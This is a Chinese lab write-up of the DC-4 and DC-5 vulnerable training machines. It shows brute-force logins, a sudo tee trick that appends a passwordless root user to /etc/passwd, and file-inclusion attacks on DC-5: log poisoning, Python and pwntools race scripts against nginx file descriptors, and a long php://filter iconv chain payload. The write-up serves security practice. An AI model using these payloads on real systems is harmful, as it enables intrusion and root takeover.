DC靶机系列(4-5)
2023-2-8 09:2:18 Author: 珂技知识分享(查看原文) 阅读量:13 收藏

4.    DC-4

光秃秃的登录框,目录扫描了下,手动注入了下都没有,那么还是让你爆破,当然,你得找个国外的字典,我用的是这个。
https://github.com/rootphantomer/Blasting_dictionary/tree/master/常用英文用户名和奇葩密码

admin/happy登录后,发现似乎是个命令注入。不,甚至是个命令执行。

很明显,当前目录权限是root,而我们只有www-data权限,因此无法写入webshell,不过可以直接反弹shell。
这次就不要简单粗暴的拿exp打了,看看/etc/passwd发现了三个用户。

其中jim用户的目录中有个777权限的test.sh,以及一个备份字典。

test.sh内容只是无意义的echo,那么修改test.sh试一试‘

echo 'touch /tmp/123' > test.sh
但很遗憾,似乎test.sh并不在任务计划中,那么用old-passwords.bak为字典爆破ssh。


ssh登录之后,有个mail的提示。

将用户目录下的mbox文件改成777权限,然后查看一下。

好像只是个邮件测试文件,然后输入mail,选择1,发现了charles的密码。

Ctrl+Z回到bash,切换到charles用户,又是sudo -l的提权。

这是一个小众且简单的编辑器,直接编辑passwd即可。
cp /etc/passwd /tmp/passwd.bak
echo "raaj::0:0:::/bin/bash" | sudo teehee -a /etc/passwd
su raaj

5.    DC-5

看起来只有一个提交意见的页面是有用的?难道后台存在一个触发xss的爬虫?

测试之后发现并不是,也不是SQL注入之类的。那么目录扫描。

只有footer.php和thankyou.php是主页上没有的,进去看了一下发现thankyou.php刚刚见过,是提交意见用的。
然后就没思路了,反复刷新了几下之后,发现这两个页面的Copyright © 2017的年份居然会变化。但这也说明不了什么,实在没思路,去瞄了一眼正确答案,居然是因为两个都会变化,所以thankyou.php是包含footer.php的,所以thankyou.php存在一个任意文件包含!
http://192.168.29.148/thankyou.php?file=/etc/passwd

这个设计者是什么脑回路。。。正常人都会想这个包含是写死在代码里的吧,怎么可能给个file参数让你控制,你还不如在js中给点提示。

好吧,任意文件包含,第一时间想的是否开启了allow_url_include=On,能否用那一系列伪协议。
http://192.168.29.148/thankyou.php?file=http://www.baidu.com

很显然不行,再确定中间件权限,也就是nginx的权限。
http://192.168.29.148/thankyou.php?file=/etc/shadow

很显然也不会给你root权限,那么尝试包含日志,apache的默认权限,为了防止你包含日志,是无法读到access.log的。nginx呢?
http://192.168.29.148/thankyou.php?file=/var/log/nginx/access.log
http://192.168.29.148/thankyou.php?file=/var/log/nginx/error.log

那么思路就明确了,先用burp发一个url路径或者User-Agent含恶意代码的包,然后包含access.log即可。成功getshell。

如果权限不够,无法包含日志还有什么办法呢?

(1),php-fpm(×)

可以从/proc/self/cmdline中看出来是php-fpm。

看到php-fpm就应该警觉,如果存在php-curl的ssrf,就可以用gopher协议打9000端口,如果存在file_put_contents($_GET['file'], $_GET['data'])的写法,也可以用ftp的被动模式打。
https://www.leavesongs.com/PENETRATION/fastcgi-and-php-fpm.html
https://xz.aliyun.com/t/9544

不过这题从error.log上看是用的sock文件,也没有php-curl的ssrf。

(2),session(×)

包含session文件,利用session会记录PHP_SESSION_UPLOAD_PROGRESS参数表单进行条件竞争,在我最初的文章中有。不过这题没有开启phpsession。
https://mp.weixin.qq.com/s/fbIMJP3Svwl8fbYa62lAPg

(3),pear.php(×)

P牛捂了很久的pear.php,但这题不是docker,一般不会有pear.php。
https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html

(4),上传缓存(×)

包含上传缓存文件,如果有phpinfo的话,可以利用phpinfo回显缓存文件名进行条件竞争。没有phpinfo,就只能利用漏洞使程序崩溃而留下上传缓存文件。上篇pear文章中有过很详细的介绍,但这题也不能用。

(5),nginx缓存(√)

除了包含上传缓存文件之外,还有同样包含nginx进程的办法的,下面这篇文章介绍了两种。
https://tttang.com/archive/1384/
其原理是利用php远程下载文件的缓存文件会因为打开文件句柄在/proc/pid/fd/目录下,nginx的大body文件同理。因此只需要猜测pid和fd,大大降低利用难度。

可以看到我们可读的pid有7个,其中php-fpm虽然也是www-data用户但fd不可读。
ls -alt /proc/549/fd/ && ls -alt /proc/550/fd/ && ls -alt /proc/551/fd/ && ls -alt /proc/552/fd/

可以发现每个pid都有fd日志,也就是access.log和error.log,包含这个也可以但没有意义。
但同时过大的php请求外部文件,也会经过fastcgi处理。
这里我测试成功了,让php反复请求外部一个2M的powershell文件,随便找的一个大小合适的。

在DC-5上写这么一段php代码,然后burp请求1000个包。

<?phpecho file_get_contents('http://192.168.29.1:81/1.ps1');


然后写个脚本,不断包含这4个nginx进程的14-30的fd。

import requestsimport time
#fo = open("url.txt","a")while True: for i in range(14,31): for ii in [549,550,551,552]: url = "http://192.168.29.148/thankyou.php?file=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/" url = url+str(ii)+"/fd/"+str(i) r = requests.get(url) if "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" in r.text: #if 1==1: #time.sleep(1) print(r.text) print(url) #fo.write(r.text+'\n') exit()

最终可以包含成功。

但是这个用法必须有个SSRF,这题并没有SSRF,所以只能用另外一个办法,nginx的大body缓存。
同样用作者的思路测试成功,大body脚本不要用burp,用tcp模拟并延迟,多试几次即可。

from pwn import *import time
l = remote('192.168.29.148',80)
payload = "BBBBBBBBBBBBBBBBBBBBBBBBB\n"data = payload + "B" * 11 * 1024l.send('''POST / HTTP/1.1 Host: 192.168.29.148Content-Length: {}
{}'''.format(len(data) + 11, data))time.sleep(10)l.close()

这个利用方法猜测pid比较麻烦,要遍历/proc/pid/cmdline,然后竞争时还要遍历fd,很容易将靶场的nginx打崩,实战中慎用。

(6),php://filter(√)

最后则是我前段时间讲过的php://filter特性文件包含,可以完美应对这个环境!
https://mp.weixin.qq.com/s/ujxmyvRUaMN_rV7u5xZqtw

http://192.168.29.148/thankyou.php?file=php://filter/convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937|convert.base64-decode|convert.base64-encode|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.IBM891.CSUNICODE|convert.iconv.ISO8859-14.ISO6937|convert.iconv.BIG-FIVE.UCS-4|convert.base64-decode|convert.base64-encode|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.base64-decode|convert.base64-encode|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE|convert.base64-decode|convert.base64-encode|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.CP1163.CSA_T500|convert.iconv.UCS-2.MSCP949|convert.base64-decode|convert.base64-encode|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.GBK.UTF-8|convert.iconv.IEC_P27-1.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2|convert.base64-decode|convert.base64-encode|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.base64-decode/resource=/etc/passwd

拿到shell之后的提权又是无聊的SUID,和前面一样的套路去msf搜exp,就不赘述了。
searchsploit screen 4.5.0


文章来源: http://mp.weixin.qq.com/s?__biz=MzUzNDMyNjI3Mg==&mid=2247486141&idx=1&sn=b2043e2cb7670634fa324062e1ca8c26&chksm=fa9737d2cde0bec40421c04b893c69d7124e7b48caf8a7d679cb8a41460dc4817e9ad5789912#rd
如有侵权请联系:admin#unsafe.sh